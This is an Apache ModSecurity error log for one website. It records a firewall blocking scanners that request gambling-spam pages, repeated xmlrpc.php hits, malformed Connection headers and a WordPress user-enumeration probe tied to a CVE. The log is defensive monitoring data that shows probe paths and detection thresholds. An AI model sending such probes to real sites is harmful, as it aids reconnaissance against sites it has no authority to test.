[Wed May 06 15:27:34.585156 2026] [:error] [pid 9659:tid 9748] [client 65.108.125.120:53922] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "afrtZvwJnWjd8JHpBttu_AAAAM4"]
[Wed May 06 15:27:36.538982 2026] [:error] [pid 9653:tid 9703] [client 65.108.125.120:53924] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "afrtaKhJ49Xc4dqq0B62cwAAAAU"]
[Wed May 06 15:27:38.619070 2026] [:error] [pid 9664:tid 9771] [client 65.108.125.120:60790] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "afrtagH4OZbrg1SjsBMdbQAAAIk"]
[Wed May 06 15:27:40.530702 2026] [:error] [pid 9653:tid 9718] [client 65.108.125.120:60800] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "afrtbKhJ49Xc4dqq0B62eQAAABQ"]
[Wed May 06 15:27:42.537115 2026] [:error] [pid 9653:tid 9720] [client 65.108.125.120:60802] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "afrtbqhJ49Xc4dqq0B62gAAAABY"]
[Wed May 06 17:54:27.632768 2026] [:error] [pid 13443:tid 13453] [client 117.196.135.193:51660] [client 117.196.135.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.196.135.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsP0wCyfZallDmsQrePzQAAAUg"]
[Wed May 06 17:54:38.136448 2026] [:error] [pid 9664:tid 9764] [client 117.196.135.193:52087] [client 117.196.135.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.196.135.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsP3gH4OZbrg1SjsBMxNgAAAII"]
[Wed May 06 17:54:48.665191 2026] [:error] [pid 9789:tid 9794] [client 117.196.135.193:52553] [client 117.196.135.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.196.135.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsP6D_YStPJSCHPkUV0cwAAAEM"]
[Wed May 06 17:54:59.204617 2026] [:error] [pid 9789:tid 9815] [client 117.196.135.193:53063] [client 117.196.135.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.196.135.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsP8z_YStPJSCHPkUV0fwAAAFg"]
[Wed May 06 17:55:09.741427 2026] [:error] [pid 9664:tid 9781] [client 117.196.135.193:53358] [client 117.196.135.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.196.135.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsP_QH4OZbrg1SjsBMxQwAAAJM"]
[Wed May 06 18:42:26.901435 2026] [:error] [pid 13443:tid 13452] [client 49.43.133.94:54545] [client 49.43.133.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.133.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsbEgCyfZallDmsQreSxgAAAUc"]
[Wed May 06 18:42:37.014497 2026] [:error] [pid 482:tid 500] [client 49.43.133.94:54910] [client 49.43.133.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.133.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsbHcxs8HOc_nWgOW41TQAAAdA"]
[Wed May 06 18:42:47.717929 2026] [:error] [pid 9789:tid 9812] [client 49.43.133.94:55271] [client 49.43.133.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.133.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsbJz_YStPJSCHPkUV9BAAAAFU"]
[Wed May 06 18:42:58.890389 2026] [:error] [pid 9789:tid 9793] [client 49.43.133.94:55648] [client 49.43.133.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.133.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsbMj_YStPJSCHPkUV9EAAAAEI"]
[Wed May 06 18:43:20.305331 2026] [:error] [pid 482:tid 490] [client 49.43.133.94:56424] [client 49.43.133.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.133.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsbSMxs8HOc_nWgOW41dgAAAcY"]
[Wed May 06 19:32:30.936903 2026] [:error] [pid 9653:tid 9715] [client 43.153.36.110:37370] [client 43.153.36.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afsmzqhJ49Xc4dqq0B730gAAABE"]
[Wed May 06 19:36:15.908144 2026] [:error] [pid 482:tid 497] [client 216.73.217.68:39636] [client 216.73.217.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.217.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afsnr8xs8HOc_nWgOW4_ywAAAc0"]
[Wed May 06 21:45:20.293625 2026] [proxy_fcgi:error] [pid 9653:tid 9701] (70007)The timeout specified has expired: [client 34.134.131.159:55134] AH01075: Error dispatching request to : (polling)
[Wed May 06 23:32:47.344484 2026] [:error] [pid 9653:tid 9699] [client 43.167.236.228:52810] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aftfH6hJ49Xc4dqq0B5CCgAAAAE"]
[Thu May 07 00:55:04.173672 2026] [:error] [pid 63810:tid 63824] [client 57.141.14.49:61043] [client 57.141.14.49] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "57.141.14.2_bb694759cd2c22a01c1316c1c32e166b75850636"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aftyZHpnbsN9Zf6i5IFOWAAAAYo"]
[Thu May 07 01:22:50.901858 2026] [:error] [pid 9664:tid 9773] [client 35.202.222.96:50737] [client 35.202.222.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.222.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aft46gH4OZbrg1SjsBNyoAAAAIs"]
[Thu May 07 01:22:54.564557 2026] [:error] [pid 9664:tid 9785] [client 35.202.222.96:50737] [client 35.202.222.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aft47gH4OZbrg1SjsBNypQAAAJc"]
[Thu May 07 01:22:56.232916 2026] [:error] [pid 9664:tid 9778] [client 35.202.222.96:50737] [client 35.202.222.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.222.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aft48AH4OZbrg1SjsBNypwAAAJA"]
[Thu May 07 01:22:58.321021 2026] [:error] [pid 482:tid 484] [client 35.202.222.96:55885] [client 35.202.222.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.222.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aft48sxs8HOc_nWgOW6ZQwAAAcA"]
[Thu May 07 01:23:00.286979 2026] [:error] [pid 9653:tid 9711] [client 35.202.222.96:53994] [client 35.202.222.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.222.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aft49KhJ49Xc4dqq0B5tpQAAAA0"]
[Thu May 07 01:23:02.705109 2026] [:error] [pid 9653:tid 9721] [client 35.202.222.96:53626] [client 35.202.222.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.222.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aft49qhJ49Xc4dqq0B5tqQAAABc"]
[Thu May 07 01:23:04.837975 2026] [:error] [pid 9653:tid 9720] [client 35.202.222.96:52273] [client 35.202.222.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.222.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aft4-KhJ49Xc4dqq0B5tsgAAABY"]
[Thu May 07 01:23:04.838128 2026] [:error] [pid 9653:tid 9720] [client 35.202.222.96:52273] [client 35.202.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.202.222.96, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aft4-KhJ49Xc4dqq0B5tsgAAABY"]
[Thu May 07 01:55:17.207075 2026] [:error] [pid 9664:tid 9762] [client 172.202.28.4:5808] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "afuAhQH4OZbrg1SjsBN5kgAAAIA"]
[Thu May 07 01:55:17.978818 2026] [:error] [pid 9664:tid 9767] [client 172.202.28.4:22363] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "afuAhQH4OZbrg1SjsBN5lwAAAIU"]
[Thu May 07 01:55:18.787808 2026] [:error] [pid 9664:tid 9774] [client 172.202.28.4:19585] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "afuAhgH4OZbrg1SjsBN5nAAAAIw"]
[Thu May 07 01:55:19.572030 2026] [:error] [pid 9664:tid 9773] [client 172.202.28.4:19623] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "afuAhwH4OZbrg1SjsBN5pAAAAIs"]
[Thu May 07 02:36:51.230591 2026] [:error] [pid 9789:tid 9799] [client 162.14.109.170:33038] [client 162.14.109.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afuKQz_YStPJSCHPkUXdXwAAAEg"]
[Thu May 07 05:40:16.522092 2026] [:error] [pid 29710:tid 29713] [client 67.144.16.170:5411] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afu1QP0atTQld9Y2ht_fJAAAAME"]
[Thu May 07 05:40:16.969612 2026] [:error] [pid 29606:tid 29644] [client 67.144.16.170:6018] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afu1QBR5HjZ1PlSAiKtkSAAAAEM"]
[Thu May 07 05:40:17.417370 2026] [:error] [pid 29607:tid 29680] [client 67.144.16.170:6026] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afu1QabP7TJOAh7WSUNowwAAAIw"]
[Thu May 07 05:40:19.560246 2026] [:error] [pid 29710:tid 29714] [client 67.144.16.170:6055] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afu1Q_0atTQld9Y2ht_fJwAAAMI"]
[Thu May 07 05:40:20.009419 2026] [:error] [pid 29710:tid 29716] [client 67.144.16.170:6060] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afu1RP0atTQld9Y2ht_fKQAAAMQ"]
[Thu May 07 05:40:22.029887 2026] [:error] [pid 29607:tid 29687] [client 67.144.16.170:6081] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afu1RqbP7TJOAh7WSUNozAAAAJM"]
[Thu May 07 05:40:22.478284 2026] [:error] [pid 29605:tid 29630] [client 67.144.16.170:6090] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afu1RonxrTjETioEY0ThLAAAABA"]
[Thu May 07 05:40:24.758294 2026] [:error] [pid 4539:tid 4543] [client 67.144.16.170:6123] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afu1SIPEZE1565sDGnwm3gAAAQI"]
[Thu May 07 05:40:25.205778 2026] [:error] [pid 29710:tid 29718] [client 67.144.16.170:6127] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afu1Sf0atTQld9Y2ht_fPQAAAMY"]
[Thu May 07 05:40:27.786093 2026] [:error] [pid 29710:tid 29729] [client 67.144.16.170:6164] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afu1S_0atTQld9Y2ht_fRAAAANE"]
[Thu May 07 05:40:28.233957 2026] [:error] [pid 29710:tid 29712] [client 67.144.16.170:6168] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afu1TP0atTQld9Y2ht_fSgAAAMA"]
[Thu May 07 05:40:30.289594 2026] [:error] [pid 29605:tid 29632] [client 67.144.16.170:6189] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afu1TonxrTjETioEY0ThNgAAABI"]
[Thu May 07 05:40:30.737196 2026] [:error] [pid 29607:tid 29669] [client 67.144.16.170:6203] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afu1TqbP7TJOAh7WSUNo2AAAAIE"]
[Thu May 07 05:40:32.822101 2026] [:error] [pid 29607:tid 29668] [client 67.144.16.170:6231] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afu1UKbP7TJOAh7WSUNo3wAAAIA"]
[Thu May 07 05:40:33.269102 2026] [:error] [pid 29606:tid 29643] [client 67.144.16.170:6237] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afu1URR5HjZ1PlSAiKtkVgAAAEI"]
[Thu May 07 05:40:35.430606 2026] [:error] [pid 29605:tid 29622] [client 67.144.16.170:6270] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afu1U4nxrTjETioEY0ThOgAAAAg"]
[Thu May 07 05:40:35.878813 2026] [:error] [pid 29605:tid 29637] [client 67.144.16.170:6278] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afu1U4nxrTjETioEY0ThOwAAABc"]
[Thu May 07 05:40:38.098062 2026] [:error] [pid 29607:tid 29683] [client 67.144.16.170:6320] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afu1VqbP7TJOAh7WSUNo5QAAAI8"]
[Thu May 07 05:40:38.545122 2026] [:error] [pid 29606:tid 29651] [client 67.144.16.170:6337] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afu1VhR5HjZ1PlSAiKtkbwAAAEo"]
[Thu May 07 05:40:40.595912 2026] [:error] [pid 4539:tid 4563] [client 67.144.16.170:6373] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afu1WIPEZE1565sDGnwnBwAAARY"]
[Thu May 07 05:40:41.044993 2026] [:error] [pid 29607:tid 29683] [client 67.144.16.170:6377] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afu1WabP7TJOAh7WSUNo8wAAAI8"]
[Thu May 07 05:40:43.059479 2026] [:error] [pid 4539:tid 4565] [client 67.144.16.170:6414] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afu1W4PEZE1565sDGnwnHAAAARg"]
[Thu May 07 05:40:43.508827 2026] [:error] [pid 29710:tid 29734] [client 67.144.16.170:6426] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afu1W_0atTQld9Y2ht_fZgAAANY"]
